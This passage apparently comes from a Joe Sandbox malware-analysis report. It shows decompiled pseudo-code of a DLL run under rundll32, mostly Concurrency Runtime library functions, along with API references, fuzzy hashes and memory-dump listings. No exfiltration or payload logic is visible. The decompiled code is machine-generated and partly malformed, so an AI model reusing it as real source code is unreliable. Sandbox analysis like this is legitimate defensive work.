Part of subcall function 1001D7C5: InterlockedFlushSList.KERNEL32(?,00000000,?,?,1001D8F0,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D7DC
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7E5
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7EF
Part of subcall function 1001D7C5: _InternalDeleteHelper.LIBCONCRT ref: 1001D808

m?1SchedulerPolicy@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D914

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_Concurrency@@DeleteReentrantSchedulerScheduling$AcquireBase::BlockingCleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_Lock@details@NodeNode::~Policy@SectionTracingUnregisterm?1_
String ID:
API String ID: 691531310-0
Opcode ID: 4185fe0cfb29e9c4c834a80136a9730a03e2209da62a5608ecd4b2348d307a88
Instruction ID: 1cdf146a837d7fadc6b829e3d2a3f248a258ad40df6e801ae52b9c797049106e
Opcode Fuzzy Hash: 4185fe0cfb29e9c4c834a80136a9730a03e2209da62a5608ecd4b2348d307a88
Instruction Fuzzy Hash: 52118F39104906AFC70DEB21EC52AD9F364FF51310F40452EE4165BA92EF30FA99CB80

Uniqueness

Uniqueness Score: -1.00%

Function 10016B56 Relevance: 7.6, APIs: 5, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E10016B56(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long* _v4;
				void* _v8;
				char _v36;
				void* __ebp;
				void** _t12;
				signed short _t13;
				intOrPtr* _t21;
				void* _t29;

				_t29 = __esi;
				_t12 =  &_v8;
				__imp__RegisterWaitForSingleObject(_t12, _a4, _a8, _a12, 0xffffffff, 0xc);
				if(_t12 == 0) {
					_t13 = GetLastError();
					if(_t13 > 0) {
						_t13 = _t13 & 0x0000ffff | 0x80070000;
					}
					E10013710( &_v36, _t13);
					_push(E1002CB4C);
					_push( &_v36);
					L10029E92();
					asm("int3");
					if(L10019B80() < 4) {
						SetThreadAffinityMask(_v8,  *_v4);
					} else {
						_t21 = E10028707( *0x10035a50);
						 *0x10036224(_v8, _v4, 0, _t29);
						 *_t21();
					}
					return 1;
				} else {
					return _v8;
				}
			}

0x10016b56
0x10016b5c
0x10016b6d
0x10016b75
0x10016b7c
0x10016b84
0x10016b89
0x10016b89
0x10016b92
0x10016b97
0x10016b9f
0x10016ba0
0x10016ba5
0x10016bb1
0x10016bdf
0x10016bb3
0x10016bba
0x10016bcc
0x10016bd2
0x10016bd4
0x10016be9
0x10016b77
0x10016b7b
0x10016b7b

APIs

RegisterWaitForSingleObject.KERNEL32 ref: 10016B6D
GetLastError.KERNEL32(?,?,1001EBD6,?,?,?), ref: 10016B7C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT(00000000,?,?,1001EBD6,?,?,?), ref: 10016B92

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID:
API String ID: 2296417588-0
Opcode ID: b79ca5b801bf6178f6b446c7f2b2095bb552600189d64c2387fac166c13544ca
Instruction ID: 9d7ab7a08070fa91246778538dad6d7ba1392e4bb9e10f9ed0bb5ef63fcc840f
Opcode Fuzzy Hash: b79ca5b801bf6178f6b446c7f2b2095bb552600189d64c2387fac166c13544ca
Instruction Fuzzy Hash: 57018035504119BFDF12EFA0DC86EEE7BA9EB08351F508520F915DE1A1DB32EA509BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10025B3A Relevance: 7.6, APIs: 5, Instructions: 54
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10025B3A(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v4;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				char _v100;
				char _v112;
				intOrPtr _t104;
				signed int _t107;
				signed int _t113;
				char* _t115;
				signed int _t128;
				signed int _t129;
				intOrPtr _t134;
				intOrPtr _t145;
				intOrPtr _t164;
				intOrPtr _t167;
				intOrPtr* _t170;
				char* _t172;
				signed int _t173;
				char* _t176;
				signed int _t180;
				signed int _t188;
				void* _t202;
				signed int _t203;
				intOrPtr* _t204;
				intOrPtr _t205;
				signed int _t206;
				signed int _t209;
				signed int _t210;
				intOrPtr _t213;
				signed int _t214;
				intOrPtr _t215;
				intOrPtr _t216;
				intOrPtr _t217;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				void* _t227;
				void* _t228;
				void* _t233;
				void* _t234;

				_t202 = __edx;
				_t213 = _a8;
				_t167 = _v36;
				_t204 = _v24;
				_v4 = _v4 | 0xffffffff;
				_t238 =  *(_t213 + 8);
				if( *(_t213 + 8) != 0) {
					E10010FBE(_t167, _t238,  *(_t213 + 8));
					_t164 = _v32;
					if(_t164 != 0) {
						_push(_t164);
						E1000DE32(_t167,  *(_t213 + 8), _t204);
						E1000E18D(_v32);
					}
				}
				_t170 = _t204;
				 *((intOrPtr*)(_t167 + 0x34)) =  *_t204;
				_t104 =  *((intOrPtr*)(_t213 + 0x64));
				_t240 =  *((intOrPtr*)(_t104 + 0x34));
				if( *((intOrPtr*)(_t104 + 0x34)) == 0) {
					E100254EA(_t170, _v28);
					_t107 =  *((intOrPtr*)(_t167 + 0x78)) +  *((intOrPtr*)(_t167 + 0x70));
					__eflags = _t107;
					if(_t107 <= 0) {
						L12:
						__eflags = 1;
						goto L13;
					} else {
						__eflags =  *(_t213 + 8);
						_t113 = E10010E75(_t167, _t204, (_t107 & 0xffffff00 |  *(_t213 + 8) != 0x00000000) & 0x000000ff);
						__eflags = _t113;
						if(_t113 == 0) {
							goto L12;
						} else {
							_t172 =  &_v112;
							E1000DABB(_t172);
							_push(0x1002c554);
							_t115 =  &_v112;
							goto L14;
						}
					}
				} else {
					E10024BF4(_t170, _t202, _t240, 0);
					_t158 =  *((intOrPtr*)(_t167 + 0x78)) +  *((intOrPtr*)(_t167 + 0x70));
					if( *((intOrPtr*)(_t167 + 0x78)) +  *((intOrPtr*)(_t167 + 0x70)) <= 0 || E10010E75(_t167, _t204, (_t158 & 0xffffff00 |  *(_t213 + 8) != 0x00000000) & 0x000000ff) == 0) {
						_push(2);
						_pop(1);
						L13:
						return E10028D61(1);
					} else {
						_t172 =  &_v100;
						E1000DABB(_t172);
						_push(0x1002c554);
						_t115 =  &_v100;
						L14:
						_push(_t115);
						L10029E92();
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t227 = _t233;
						_t234 = _t233 - 0xc;
						_push(_t213);
						_t214 = _v4;
						_push(_t204);
						_t205 = _t172;
						if( *((intOrPtr*)(_t214 + 8)) != 0) {
							_t173 =  &_v16;
							E100134B0(_t173);
							_push(0x1002d9a0);
							_push( &_v16);
							L10029E92();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t227);
							_t228 = _t234;
							_push(_t214);
							_t215 = _v36;
							_push(_t205);
							_t206 = _t173;
							__eflags =  *(_t215 + 8);
							if( *(_t215 + 8) != 0) {
								E100134B0( &_v20);
								_push(0x1002d9a0);
								_push( &_v20);
								L10029E92();
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								E10028E03(E1002B5E0, _t167,  &_v20, _t206, 0x14);
								_t216 = _v0;
								__eflags =  *(_t216 + 8);
								if( *(_t216 + 8) != 0) {
									E100134B0( &_v40);
									_push(0x1002d9a0);
									_push( &_v40);
									L10029E92();
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									E10028E03(E1002B5FB, 0,  &_v40, _t206, 0x14);
									_t217 = _v0;
									__eflags =  *(_t217 + 8);
									if( *(_t217 + 8) != 0) {
										_t176 =  &_v40;
										E100134B0(_t176);
										_push(0x1002d9a0);
										_push( &_v40);
										L10029E92();
										asm("int3");
										_push(_t228);
										_push(_t217);
										_push(_t206);
										_t203 =  *(_t176 + 0x34);
										__eflags = 0x3fffffff & _t203;
										if((0x3fffffff & _t203) != 0) {
											L54:
											_t128 = 0;
											__eflags = 0;
										} else {
											while(1) {
												_t129 = _t203;
												asm("lock cmpxchg [esi], ecx");
												__eflags = _t129 - _t203;
												if(_t129 == _t203) {
													break;
												}
												_t203 = _t129;
												__eflags = 0x3fffffff & _t129;
												if((0x3fffffff & _t129) == 0) {
													continue;
												} else {
													goto L54;
												}
												goto L55;
											}
											_t128 = 1;
										}
										L55:
										return _t128;
									} else {
										_v12 = 0;
										_t209 = E10024D6B(0,  &_v40, _t202, _t206);
										 *((intOrPtr*)(_t217 + 0xc)) = E1000E350;
										 *(_t217 + 8) = _t209;
										_t180 =  *(_t209 + 0x84);
										_v28 = _t180;
										 *(_t209 + 0x84) = _t180 + 1;
										__eflags = _t180 - 2;
										if(_t180 < 2) {
											E10025452(0, _t209, _t209, _t217);
											_t134 = E10011403(E1001E5C9(), _t202, _t217, _a4);
											_t135 = _v28;
											 *((intOrPtr*)(_t209 + 0x70 + _v28 * 4)) = _t134;
										} else {
											_t220 =  *(_t209 + 0x6c);
											__eflags = _t220;
											if(_t220 == 0) {
												_t221 = E10028CE8(0x10);
												__eflags = _t221;
												if(_t221 == 0) {
													_t220 = 0;
												} else {
													 *_t221 = 0;
													 *((intOrPtr*)(_t221 + 4)) = 0;
													 *((intOrPtr*)(_t221 + 8)) = 0;
													 *((char*)(_t221 + 0xc)) = 0;
												}
												 *(_t209 + 0x6c) = _t220;
											}
											E10025452(0, _t209, _t209, _t220);
											_t135 = E10024AC1(_t220, E10011403(E1001E5C9(), _t202, _v0, _a4));
											__eflags = _t135;
											if(_t135 == 0) {
												_t89 = _t209 + 0x84;
												 *_t89 =  *(_t209 + 0x84) - 1;
												__eflags =  *_t89;
											}
										}
										return E10028D61(_t135);
									}
								} else {
									_v12 = 0;
									_t210 = E10024D6B(0,  &_v20, _t202, _t206);
									 *((intOrPtr*)(_t216 + 0xc)) = E1000E350;
									 *(_t216 + 8) = _t210;
									_t188 =  *(_t210 + 0x84);
									_v28 = _t188;
									 *(_t210 + 0x84) = _t188 + 1;
									__eflags = _t188 - 2;
									if(_t188 < 2) {
										E10025452(0, _t210, _t210, _t216);
										_t145 = E10011378(E1001E5C9(), _t216);
										_t146 = _v28;
										 *((intOrPtr*)(_t210 + 0x70 + _v28 * 4)) = _t145;
									} else {
										_t222 =  *(_t210 + 0x6c);
										__eflags = _t222;
										if(_t222 == 0) {
											_t223 = E10028CE8(0x10);
											__eflags = _t223;
											if(_t223 == 0) {
												_t222 = 0;
											} else {
												 *_t223 = 0;
												 *((intOrPtr*)(_t223 + 4)) = 0;
												 *((intOrPtr*)(_t223 + 8)) = 0;
												 *((char*)(_t223 + 0xc)) = 0;
											}
											 *(_t210 + 0x6c) = _t222;
										}
										E10025452(0, _t210, _t210, _t222);
										_t146 = E10024AC1(_t222, E10011378(E1001E5C9(), _v0));
										__eflags = _t146;
										if(_t146 == 0) {
											_t65 = _t210 + 0x84;
											 *_t65 =  *(_t210 + 0x84) - 1;
											__eflags =  *_t65;
										}
									}
									return E10028D61(_t146);
								}
							} else {
								 *(_t215 + 8) = _t206;
								 *((intOrPtr*)(_t215 + 0xc)) = E1000E1D0;
								 *((intOrPtr*)(_t206 + 0x10)) =  *((intOrPtr*)(_t206 + 0x10)) + 1;
								_t152 =  *(_t206 + 0xc);
								__eflags = _t152;
								if(_t152 == 0) {
									 *(_t206 + 0xc) = E1000FE15();
								}
								return E10011262(_t152, _t202, _t215, _a4);
							}
						} else {
							 *((intOrPtr*)(_t214 + 8)) = _t205;
							 *((intOrPtr*)(_t214 + 0xc)) = E1000E1D0;
							 *((intOrPtr*)(_t205 + 0x10)) =  *((intOrPtr*)(_t205 + 0x10)) + 1;
							_t154 =  *((intOrPtr*)(_t205 + 0xc));
							if( *((intOrPtr*)(_t205 + 0xc)) == 0) {
								 *((intOrPtr*)(_t205 + 0xc)) = E1000FE15();
							}
							return E100111E7(_t154, _t214);
						}
					}
				}
			}

0x10025b3a
0x10025b3a
0x10025b3d
0x10025b40
0x10025b43
0x10025b47
0x10025b4b
0x10025b52
0x10025b57
0x10025b5c
0x10025b61
0x10025b62
0x10025b6a
0x10025b6a
0x10025b5c
0x10025b71
0x10025b73
0x10025b76
0x10025b79
0x10025b7d
0x10025bf1
0x10025bf9
0x10025bfc
0x10025bfe
0x10025c29
0x10025c2b
0x00000000
0x10025c00
0x10025c00
0x10025c0e
0x10025c13
0x10025c15
0x00000000
0x10025c17
0x10025c17
0x10025c1a
0x10025c1f
0x10025c24
0x00000000
0x10025c24
0x10025c15
0x10025b7f
0x10025b81
0x10025b89
0x10025b8e
0x10025be9
0x10025beb
0x10025c2c
0x10025c31
0x10025ba7
0x10025ba7
0x10025baa
0x10025baf
0x10025bb4
0x10025c51
0x10025c51
0x10025c52
0x10025c57
0x10025c58
0x10025c59
0x10025c5a
0x10025c5b
0x10025c5c
0x10025c5d
0x10025c5e
0x10025c5f
0x10025c61
0x10025c63
0x10025c66
0x10025c67
0x10025c6a
0x10025c6b
0x10025c71
0x10025c9d
0x10025ca0
0x10025ca5
0x10025cad
0x10025cae
0x10025cb3
0x10025cb4
0x10025cb5
0x10025cb6
0x10025cb7
0x10025cb8
0x10025cb9
0x10025cba
0x10025cbb
0x10025cbc
0x10025cbd
0x10025cbe
0x10025cbf
0x10025cc0
0x10025cc1
0x10025cc6
0x10025cc7
0x10025cca
0x10025ccb
0x10025ccd
0x10025cd1
0x10025d03
0x10025d08
0x10025d10
0x10025d11
0x10025d16
0x10025d17
0x10025d18
0x10025d19
0x10025d1a
0x10025d1b
0x10025d1c
0x10025d1d
0x10025d1e
0x10025d1f
0x10025d27
0x10025d2c
0x10025d31
0x10025d34
0x10025df4
0x10025df9
0x10025e01
0x10025e02
0x10025e07
0x10025e08
0x10025e09
0x10025e0a
0x10025e0b
0x10025e0c
0x10025e0d
0x10025e0e
0x10025e0f
0x10025e17
0x10025e1c
0x10025e21
0x10025e24
0x10025ee7
0x10025eea
0x10025eef
0x10025ef7
0x10025ef8
0x10025efd
0x10025efe
0x10025f01
0x10025f02
0x10025f0b
0x10025f0d
0x10025f0f
0x10025f2c
0x10025f2c
0x10025f2c
0x10025f11
0x10025f11
0x10025f13
0x10025f1e
0x10025f22
0x10025f24
0x00000000
0x00000000
0x10025f26
0x10025f28
0x10025f2a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10025f2a
0x10025f34
0x10025f34
0x10025f2e
0x10025f31
0x10025e2a
0x10025e2a
0x10025e32
0x10025e34
0x10025e3b
0x10025e3e
0x10025e44
0x10025e4a
0x10025e50
0x10025e53
0x10025eb1
0x10025ec1
0x10025ec8
0x10025ecb
0x10025e55
0x10025e55
0x10025e58
0x10025e5a
0x10025e63
0x10025e66
0x10025e68
0x10025e77
0x10025e6a
0x10025e6a
0x10025e6c
0x10025e6f
0x10025e72
0x10025e72
0x10025e79
0x10025e79
0x10025e7e
0x10025e98
0x10025e9d
0x10025e9f
0x10025ea1
0x10025ea1
0x10025ea1
0x10025ea1
0x10025e9f
0x10025eac
0x10025eac
0x10025d3a
0x10025d3a
0x10025d42
0x10025d44
0x10025d4b
0x10025d4e
0x10025d54
0x10025d5a
0x10025d60
0x10025d63
0x10025dbe
0x10025dcb
0x10025dd2
0x10025dd5
0x10025d65
0x10025d65
0x10025d68
0x10025d6a
0x10025d73
0x10025d76
0x10025d78
0x10025d87
0x10025d7a
0x10025d7a
0x10025d7c
0x10025d7f
0x10025d82
0x10025d82
0x10025d89
0x10025d89
0x10025d8e
0x10025da5
0x10025daa
0x10025dac
0x10025dae
0x10025dae
0x10025dae
0x10025dae
0x10025dac
0x10025db9
0x10025db9
0x10025cd3
0x10025cd3
0x10025cd6
0x10025cdd
0x10025ce0
0x10025ce3
0x10025ce5
0x10025cec
0x10025cec
0x10025cfd
0x10025cfd
0x10025c73
0x10025c73
0x10025c76
0x10025c7d
0x10025c80
0x10025c85
0x10025c8c
0x10025c8c
0x10025c9a
0x10025c9a
0x10025c71
0x10025b8e

APIs

Concurrency::details::ContextBase::PopGoverningTokenState.LIBCONCRT ref: 10025B52

Part of subcall function 10010FBE: Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 10010FD9
Part of subcall function 10010FBE: Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 10010FFC

Concurrency::details::_CancellationTokenState::_DeregisterCallback.LIBCONCRT ref: 10025B62

Part of subcall function 1000DE32: __EH_prolog3.LIBCMT ref: 1000DE39
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DE4C
Part of subcall function 1000DE32: Concurrency::details::_CancellationTokenState::TokenRegistrationContainer::remove.LIBCONCRT ref: 1000DE60
Part of subcall function 1000DE32: Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 1000DE6F
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DE85
Part of subcall function 1000DE32: atomic_compare_exchange.LIBCONCRT ref: 1000DE9A
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DECE
Part of subcall function 1000DE32: std::_Cnd_initX.LIBCPMT ref: 1000DEFB

Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 10025B6A
Concurrency::details::_TaskCollection::_Abort.LIBCONCRT ref: 10025B81
Concurrency::details::ContextBase::IsCancellationVisible.LIBCONCRT ref: 10025B9E
Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 10025C87
Concurrency::details::ContextBase::PushStructured.LIBCONCRT ref: 10025C92

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::_$Token$Base::Cnd_initConcurrency::details::Contextstd::_$CancellationStateTask$Base::_CollectionCounter::_Release$AbortCallbackCollection::_Container::removeCurrentDeregisterGoverningH_prolog3PushRegistrationSchedulerState::State::_StructuredVisibleatomic_compare_exchange
String ID:
API String ID: 1815952819-0
Opcode ID: 9c568bae45dbd1689c612df347966b993537ef533efec971daebccb994183000
Instruction ID: 218b16207d22712361aeb4605ce5a14b53f4e2e54b3a5b0b9132dbc511a8b8d4
Opcode Fuzzy Hash: 9c568bae45dbd1689c612df347966b993537ef533efec971daebccb994183000
Instruction Fuzzy Hash: 84016934A003059BDF10DF65D986BADB3FAEF04381F944418E892AB2A6CB34FD84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001D875 Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1001D875(intOrPtr* __ecx) {
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t16;
				void* _t21;
				void* _t28;
				void* _t29;
				intOrPtr* _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				signed int _t52;

				_push(0xffffffff);
				_push(E1002A4A3);
				_push( *[fs:0x0]);
				_push(_t48);
				_t16 =  *0x100330b4; // 0x8dd10d40
				_push(_t16 ^ _t52);
				 *[fs:0x0] =  &_v16;
				_t46 = __ecx;
				 *__ecx = 0x10003414;
				E1001E127(_t29, __ecx, __ecx, _t48);
				_t49 = _t46 + 0x168;
				E10011BD0(_t49);
				_push( *((intOrPtr*)(_t49 + 8)));
				L10028D2F();
				_t50 = _t46 + 0x15c;
				_t21 = E10011BD0(_t50);
				_push( *((intOrPtr*)(_t50 + 8)));
				L10028D2F();
				E1001D7C5(E1001D74B(E10016FC0(_t21, _t46 + 0x118), _t46 + 0xc8), _t46 + 0x60);
				_push( *((intOrPtr*)(_t46 + 0x58)));
				L10028D2F();
				E1001D857(_t46 + 0x48);
				E1001D857(_t46 + 0x3c);
				E1001D857(_t46 + 0x30);
				_t28 = E10020DF0(_t46 + 4);
				 *_t46 = 0x100033cc;
				 *[fs:0x0] = _v16;
				return _t28;
			}

0x1001d878
0x1001d87a
0x1001d885
0x1001d886
0x1001d888
0x1001d88f
0x1001d893
0x1001d899
0x1001d89b
0x1001d8a1
0x1001d8a6
0x1001d8ae
0x1001d8b3
0x1001d8b6
0x1001d8bc
0x1001d8c4
0x1001d8c9
0x1001d8cc
0x1001d8eb
0x1001d8f0
0x1001d8f3
0x1001d8fc
0x1001d904
0x1001d90c
0x1001d914
0x1001d919
0x1001d922
0x1001d92d

APIs

Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 1001D8A1

Part of subcall function 1001E127: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 1001E141
Part of subcall function 1001E127: __EH_prolog3.LIBCMT ref: 10020652
Part of subcall function 1001E127: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 1002065F
Part of subcall function 1001E127: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 10020671
Part of subcall function 1001E127: InterlockedPopEntrySList.KERNEL32(10035AB8,00000004,Function_0002A4A3,000000FF), ref: 10020687

m?1_ReentrantBlockingLock@details@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D8D8

Part of subcall function 10016FC0: DeleteCriticalSection.KERNEL32 ref: 10016FC1

~ListArray.LIBCONCRT ref: 1001D8E3

Part of subcall function 1001D74B: InterlockedFlushSList.KERNEL32(?,?,?,1001D8E8,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D750
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D759
Part of subcall function 1001D74B: InterlockedFlushSList.KERNEL32(?,00000000,?,?,1001D8E8,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D762
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D76B
Part of subcall function 1001D74B: ListArray.LIBCONCRT ref: 1001D775

~ListArray.LIBCONCRT ref: 1001D8EB

Part of subcall function 1001D7C5: InterlockedFlushSList.KERNEL32(?,?,?,1001D8F0,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D7CA
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7D3
Part of subcall function 1001D7C5: InterlockedFlushSList.KERNEL32(?,00000000,?,?,1001D8F0,8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D7DC
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7E5
Part of subcall function 1001D7C5: ListArray.LIBCONCRT ref: 1001D7EF
Part of subcall function 1001D7C5: _InternalDeleteHelper.LIBCONCRT ref: 1001D808

m?1SchedulerPolicy@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(8DD10D40,?,?,?,Function_0002A4A3,000000FF), ref: 1001D914

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_Concurrency@@DeleteReentrantSchedulerScheduling$AcquireBase::BlockingCleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_Lock@details@NodeNode::~Policy@SectionTracingUnregisterm?1_
String ID:
API String ID: 691531310-0
Opcode ID: a621e0a06704cab0409083d0540a45dd4b8bc236eea45259d49b99aaf5accfa0
Instruction ID: 9eac02cce928d2f4ffb26d466be3d30be3ca978ea771df81b29d1b82cfa01ebd
Opcode Fuzzy Hash: a621e0a06704cab0409083d0540a45dd4b8bc236eea45259d49b99aaf5accfa0
Instruction Fuzzy Hash: FB115139104946ABC709EB21EC52AD9F764FF50610F40552EE4165BA92EF30FA99CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000CF10 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E1000CF10(void* __ecx) {
				intOrPtr* _t27;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t54;

				E10028D98(E1002A5C7, _t36, __ecx, _t50, 0x28);
				_t51 = __ecx;
				E10016ED0(_t36, _t54 - 0x34, _t49, __ecx + 0x34);
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				 *0x10036224(_t54 - 0x18);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t51 + 0x5c)) + 0x10))))();
				while( *((intOrPtr*)(E10008B53(_t54 - 0x18))) != 0) {
					_t27 = E10008B53(_t54 - 0x18);
					_t36 =  *_t27;
					 *0x10036224( *_t27);
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t51 + 0x5c)) + 4))))() != 0) {
						E10009D5B(_t51, _t36);
					}
					E10008B77(_t54 - 0x18);
				}
				 *((intOrPtr*)(_t51 + 0x30)) = 1;
				E10012BE0(_t36, _t51 + 8, _t49, _t51);
				return E10028D61(E10017010(_t54 - 0x34));
			}

0x1000cf17
0x1000cf1c
0x1000cf25
0x1000cf2d
0x1000cf3a
0x1000cf43
0x1000cf79
0x1000cf4a
0x1000cf4f
0x1000cf5a
0x1000cf67
0x1000cf6c
0x1000cf6c
0x1000cf74
0x1000cf74
0x1000cf89
0x1000cf90
0x1000cfa2

APIs

__EH_prolog3.LIBCMT ref: 1000CF17
Concurrency::details::_ReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT(?,00000028,10008095,8DD10D40,?,?,00000000,00000000,1002A452,000000FF,?,1000712A,?,?,00000074,10007B22), ref: 1000CF25

Part of subcall function 10016ED0: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 10016EE3
Part of subcall function 10016ED0: Concurrency::details::_ReentrantPPLLock::_Acquire.LIBCMT(?,000000FF,?,?,?,1000A6AF,?,0000002C,10007120,?,?,00000074,10007B22,?,?,00000000), ref: 10016EEB

ISource.LIBCONCRT ref: 1000CF6C
mset@event@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(?,00000000,00000000,1002A452,000000FF,?,1000712A,?,?,00000074,10007B22,?,?,00000000), ref: 1000CF90
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT(?,00000000,00000000,1002A452,000000FF,?,1000712A,?,?,00000074,10007B22,?,?,00000000), ref: 1000CF98

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

